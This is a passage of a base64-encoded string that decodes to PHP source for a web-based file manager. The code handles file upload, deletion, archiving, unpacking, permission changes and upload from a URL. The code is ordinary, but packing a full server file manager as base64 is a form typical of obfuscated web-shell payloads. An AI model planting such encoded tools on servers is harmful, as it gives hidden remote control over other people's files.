gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pO1xuICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpO1xuICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7XG5cbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICAgICBpZiAoJGNodW5rSW5kZXggPT0gJGNodW5rVG90YWwgLSAxKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nIC4gJGV4dCA6ICcnO1xuICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJHBhdGggLiAnXC8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLiAnXycgLiBkYXRlKCd5bWRIaXMnKSAuICRleHRfMTtcbiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRmdWxsUGF0aDtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgICAgICByZW5hbWUoXCJ7JGZ1bGxQYXRofS5wYXJ0XCIsICRmdWxsUGF0aFRhcmdldCk7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBlbHNlIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkZnVsbFBhdGgpKSB7XG4gICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnc3VjY2VzcycsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gXCJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsXCJcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheShcbiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnID0+ICdlcnJvcicsXG4gICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgICA9PiAnQ291bGRuXFwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLidcbiAgICAgICAgICAgICAgICAgICAgKTtcbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5KFxuICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLFxuICAgICAgICAgICAgICAgICAgICAnaW5mbycgICAgICA9PiBcIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHNcIixcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkoXG4gICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLFxuICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXFwndCB3cml0ZWFibGUuJ1xuICAgICAgICApO1xuICAgIH1cbiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7XG4gICAgZXhpdCgpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICBpZiAoRk1fUEFUSCAhPSAnJykge1xuICAgICAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbiAgICB9XG5cbiAgICAkZXJyb3JzID0gMDtcbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICBpZiAoaXNfYXJyYXkoJGZpbGVzKSAmJiBjb3VudCgkZmlsZXMpKSB7XG4gICAgICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZikge1xuICAgICAgICAgICAgaWYgKCRmICE9ICcnKSB7XG4gICAgICAgICAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGY7XG4gICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpO1xuICAgICAgICB9XG4gICAgfSBlbHNlIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7XG4gICAgfVxuXG4gICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbn1cblxuaWYgKGlzc2V0KCRfUE9TVFsnZ3JvdXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAoaXNzZXQoJF9QT1NUWyd6aXAnXSkgfHwgaXNzZXQoJF9QT1NUWyd0YXInXSkpICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkcGF0aCA9IEZNX1JPT1RfUEFUSDtcbiAgICAkZXh0ID0gJ3ppcCc7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJztcblxuICAgIGlmICgoJGV4dCA9PSBcInppcFwiICYmICFjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgfHwgKCRleHQgPT0gXCJ0YXJcIiAmJiAhY2xhc3NfZXhpc3RzKCdQaGFyRGF0YScpKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnT3BlcmF0aW9ucyB3aXRoIGFyY2hpdmVzIGFyZSBub3QgYXZhaWxhYmxlJyksICdlcnJvcicpO1xuICAgICAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcbiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTtcblxuICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkge1xuICAgICAgICBhcnJheV9wdXNoKCRzYW5pdGl6ZWRfZmlsZXMsIGZtX2NsZWFuX3BhdGgoJGZpbGUpKTtcbiAgICB9XG5cbiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzO1xuXG4gICAgaWYgKCFlbXB0eSgkZmlsZXMpKSB7XG4gICAgICAgIGNoZGlyKCRwYXRoKTtcblxuICAgICAgICBpZiAoY291bnQoJGZpbGVzKSA9PSAxKSB7XG4gICAgICAgICAgICAkb25lX2ZpbGUgPSByZXNldCgkZmlsZXMpO1xuICAgICAgICAgICAgJG9uZV9maWxlID0gYmFzZW5hbWUoJG9uZV9maWxlKTtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJG9uZV9maWxlIC4gJ18nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nIC4gJGV4dDtcbiAgICAgICAgfSBlbHNlIHtcbiAgICAgICAgICAgICR6aXBuYW1lID0gJ2FyY2hpdmVfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJyAuICRleHQ7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSAnemlwJykge1xuICAgICAgICAgICAgJHppcHBlciA9IG5ldyBGTV9aaXBwZXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkemlwcGVyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInKSB7XG4gICAgICAgICAgICAkdGFyID0gbmV3IEZNX1ppcHBlcl9UYXIoKTtcbiAgICAgICAgICAgICRyZXMgPSAkdGFyLT5jcmVhdGUoJHppcG5hbWUsICRmaWxlcyk7XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhzcHJpbnRmKGxuZygnQXJjaGl2ZScpIC4gJyA8Yj4lczxcL2I+ICcgLiBsbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5pZiAoaXNzZXQoJF9QT1NUWyd1bnppcCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkge1xuXG4gICAgaWYgKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKFwiSW52YWxpZCBUb2tlbi5cIiksICdlcnJvcicpO1xuICAgICAgICBkaWUoXCJJbnZhbGlkIFRva2VuLlwiKTtcbiAgICB9XG5cbiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTtcbiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7XG4gICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJ1wvJywgJycsICR1bnppcCk7XG4gICAgJGlzVmFsaWQgPSBmYWxzZTtcblxuICAgICRwYXRoID0gRk1fUk9PVF9QQVRIO1xuICAgIGlmIChGTV9QQVRIICE9ICcnKSB7XG4gICAgICAgICRwYXRoIC49ICdcLycgLiBGTV9QQVRIO1xuICAgIH1cblxuICAgIGlmICgkdW56aXAgIT0gJycgJiYgaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkdW56aXApKSB7XG4gICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICR1bnppcDtcbiAgICAgICAgJGV4dCA9IHBhdGhpbmZvKCR6aXBfcGF0aCwgUEFUSElORk9fRVhURU5TSU9OKTtcbiAgICAgICAgJGlzVmFsaWQgPSB0cnVlO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICBpZiAoKCRleHQgPT0gXCJ6aXBcIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09IFwidGFyXCIgJiYgIWNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkpIHtcbiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ09wZXJhdGlvbnMgd2l0aCBhcmNoaXZlcyBhcmUgbm90IGF2YWlsYWJsZScpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgaWYgKCRpc1ZhbGlkKSB7XG4gICAgICAgICR0b2ZvbGRlciA9ICcnO1xuICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWyd0b2ZvbGRlciddKSkge1xuICAgICAgICAgICAgJHRvZm9sZGVyID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19GSUxFTkFNRSk7XG4gICAgICAgICAgICBpZiAoZm1fbWtkaXIoJHBhdGggLiAnXC8nIC4gJHRvZm9sZGVyLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICRwYXRoIC49ICdcLycgLiAkdG9mb2xkZXI7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJGV4dCA9PSBcInppcFwiKSB7XG4gICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpO1xuICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpO1xuICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSBcInRhclwiKSB7XG4gICAgICAgICAgICB0cnkge1xuICAgICAgICAgICAgICAgICRnemlwcGVyID0gbmV3IFBoYXJEYXRhKCR6aXBfcGF0aCk7XG4gICAgICAgICAgICAgICAgaWYgKEAkZ3ppcHBlci0+ZXh0cmFjdFRvKCRwYXRoLCBudWxsLCB0cnVlKSkge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTtcbiAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICBpZiAoJHJlcykge1xuICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7XG4gICAgICAgIH1cbiAgICB9IGVsc2Uge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7XG4gICAgfVxuICAgICRGTV9QQVRIID0gRk1fUEFUSDtcbiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG59XG5cbmlmIChpc3NldCgkX1BPU1RbJ2NobW9kJ10sICRfUE9TVFsndG9rZW4nXSkgJiYgIUZNX1JFQURPTkxZICYmICFGTV9JU19XSU4pIHtcblxuICAgIGlmICghdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkge1xuICAgICAgICBmbV9zZXRfbXNnKGxuZyhcIkludmFsaWQgVG9rZW4uXCIpLCAnZXJyb3InKTtcbiAgICAgICAgZGllKFwiSW52YWxpZCBUb2tlbi5cIik7XG4gICAgfVxuXG4gICAgJHBhdGggPSBGTV9ST09UX1BBVEg7XG4gICAgaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAgICAgJHBhdGggLj0gJ1wvJyAuIEZNX1BBVEg7XG4gICAgfVxuXG4gICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107XG4gICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTtcbiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCdcLycsICcnLCAkZmlsZSk7XG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICghaXNfZmlsZSgkcGF0aCAuICdcLycgLiAkZmlsZSkgJiYgIWlzX2RpcigkcGF0aCAuICdcLycgLiAkZmlsZSkpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTtcbiAgICAgICAgJEZNX1BBVEggPSBGTV9QQVRIO1xuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7XG4gICAgfVxuXG4gICAgJG1vZGUgPSAwO1xuICAgIGlmICghZW1wdHkoJF9QT1NUWyd1ciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwNDAwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXcnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDIwMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAxMDA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydnciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDQwO1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAyMDtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d4J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMTA7XG4gICAgfVxuICAgIGlmICghZW1wdHkoJF9QT1NUWydvciddKSkge1xuICAgICAgICAkbW9kZSB8PSAwMDA0O1xuICAgIH1cbiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3cnXSkpIHtcbiAgICAgICAgJG1vZGUgfD0gMDAwMjtcbiAgICB9XG4gICAgaWYgKCFlbXB0eSgkX1BPU1RbJ294J10pKSB7XG4gICAgICAgICRtb2RlIHw9IDAwMDE7XG4gICAgfVxuXG4gICAgaWYgKEBjaG1vZCgkcGF0aCAuICdcLycgLiAkZmlsZSwgJG1vZGUpKSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTtcbiAgICB9XG5cbiAgICAkRk1fUEFUSCA9IEZNX1BBVEg7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpO1xufVxuXG5cbiRwYXRoID0gRk1fUk9PVF9QQVRIO1xuaWYgKEZNX1BBVEggIT0gJycpIHtcbiAgICAkcGF0aCAuPSAnXC8nIC4gRk1fUEFUSDtcbn1cblxuaWYgKCFpc19kaXIoJHBhdGgpKSB7XG4gICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9Jyk7XG59XG5cbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XG5cbiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpO1xuJGZvbGRlcnMgPSBhcnJheSgpO1xuJGZpbGVzID0gYXJyYXkoKTtcbiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKFwiXC9cIiwgJHBhdGgpLCAtMSlbMF07XG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGN1cnJlbnRfcGF0aCwgJHBhdGgpKSB7XG4gICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgaWYgKCRmaWxlID09ICcuJyB8fCAkZmlsZSA9PSAnLi4nKSB7XG4gICAgICAgICAgICBjb250aW51ZTtcbiAgICAgICAgfVxuICAgICAgICBpZiAoIUZNX1NIT1dfSElEREVOICYmIHN1YnN0cigkZmlsZSwgMCwgMSkgPT09ICcuJykge1xuICAgICAgICAgICAgY29udGludWU7XG4gICAgICAgIH1cbiAgICAgICAgJG5ld19wYXRoID0gJHBhdGggLiAnXC8nIC4gJGZpbGU7XG4gICAgICAgIGlmIChAaXNfZmlsZSgkbmV3X3BhdGgpICYmIGZtX2lzX2V4Y2x1ZGVfaXRlbXMoJGZpbGUsICRuZXdfcGF0aCkpIHtcbiAgICAgICAgICAgICRmaWxlc1tdID0gJGZpbGU7XG4gICAgICAgIH0gZWxzZWlmIChAaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgZm1faXNfZXhjbHVkZV9pdGVtcygkZmlsZSwgJG5ld19wYXRoKSkge1xuICAgICAgICAgICAgJGZvbGRlcnNbXSA9ICRmaWxlO1xuICAgICAgICB9XG4gICAgfVxufVxuXG5pZiAoIWVtcHR5KCRmaWxlcykpIHtcbiAgICBuYXRjYXNlc29ydCgkZmlsZXMpO1xufVxuaWYgKCFlbXB0eSgkZm9sZGVycykpIHtcbiAgICBuYXRjYXNlc29ydCgkZm9sZGVycyk7XG59XG5cbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xuICAgIGZtX3Nob3dfaGVhZGVyKCk7XG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTtcbiAgICBmdW5jdGlvbiBnZXRVcGxvYWRFeHQoKVxuICAgIHtcbiAgICAgICAgJGV4dEFyciA9IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKTtcbiAgICAgICAgaWYgKEZNX1VQTE9BRF9FWFRFTlNJT04gJiYgJGV4dEFycikge1xuICAgICAgICAgICAgYXJyYXlfd2FsaygkZXh0QXJyLCBmdW5jdGlvbiAoJiR4KSB7XG4gICAgICAgICAgICAgICAgJHggPSBcIi4keFwiO1xuICAgICAgICAgICAgfSk7XG4gICAgICAgICAgICByZXR1cm4gaW1wbG9kZSgnLCcsICRleHRBcnIpO1xuICAgICAgICB9XG4gICAgICAgIHJldHVybiAnJztcbiAgICB9XG4gICAgPz5cbiAgICA8P3BocCBwcmludF9leHRlcm5hbCgnY3NzLWRyb3B6b25lJyk7ID8+XG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cblxuICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZCBtYi0yIGZtLXVwbG9hZC13cmFwcGVyXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY2FyZC1oZWFkZXJcIj5cbiAgICAgICAgICAgICAgICA8dWwgY2xhc3M9XCJuYXYgbmF2LXRhYnMgY2FyZC1oZWFkZXItdGFic1wiPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGluayBhY3RpdmVcIiBocmVmPVwiI2ZpbGVVcGxvYWRlclwiIGRhdGEtdGFyZ2V0PVwiI2ZpbGVVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtYXJyb3ctY2lyY2xlLW8tdXBcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnVXBsb2FkaW5nRmlsZXMnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9XCJuYXYtaXRlbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgY2xhc3M9XCJuYXYtbGlua1wiIGhyZWY9XCIjdXJsVXBsb2FkZXJcIiBjbGFzcz1cImpzLXVybC11cGxvYWRcIiBkYXRhLXRhcmdldD1cIiN1cmxVcGxvYWRlclwiPjxpIGNsYXNzPVwiZmEgZmEtbGlua1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVcGxvYWQgZnJvbSBVUkwnKSA/PjxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxcL2xpPlxuICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cImNhcmQtYm9keVwiPlxuICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwiY2FyZC10ZXh0XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCI/cD08P3BocCBlY2hvIEZNX1BBVEggPz5cIiBjbGFzcz1cImZsb2F0LXJpZ2h0XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0IGdvLWJhY2tcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnQmFjaycpID8+PFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPHN0cm9uZz48P3BocCBlY2hvIGxuZygnRGVzdGluYXRpb25Gb2xkZXInKSA/PjxcL3N0cm9uZz46IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1BBVEgpKSA/PlxuICAgICAgICAgICAgICAgIDxcL3A+XG5cbiAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249XCI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoRk1fU0VMRl9VUkwpIC4gJz9wPScgLiBmbV9lbmMoRk1fUEFUSCkgPz5cIiBjbGFzcz1cImRyb3B6b25lIGNhcmQtdGFicy1jb250YWluZXJcIiBpZD1cImZpbGVVcGxvYWRlclwiIGVuY3R5cGU9XCJtdWx0aXBhcnRcL2Zvcm0tZGF0YVwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmdWxscGF0aFwiIGlkPVwiZnVsbHBhdGhcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImZhbGxiYWNrXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT1cImZpbGVcIiB0eXBlPVwiZmlsZVwiIG11bHRpcGxlIFwvPlxuICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgPFwvZm9ybT5cblxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJ1cGxvYWQtdXJsLXdyYXBwZXIgY2FyZC10YWJzLWNvbnRhaW5lciBoaWRkZW5cIiBpZD1cInVybFVwbG9hZGVyXCI+XG4gICAgICAgICAgICAgICAgICAgIDxmb3JtIGlkPVwianMtZm9ybS11cmwtdXBsb2FkXCIgY2xhc3M9XCJyb3cgcm93LWNvbHMtbGctYXV0byBnLTMgYWxpZ24taXRlbXMtY2VudGVyXCIgb25zdWJtaXQ9XCJyZXR1cm4gdXBsb2FkX2Zyb21fdXJsKHRoaXMpO1wiIG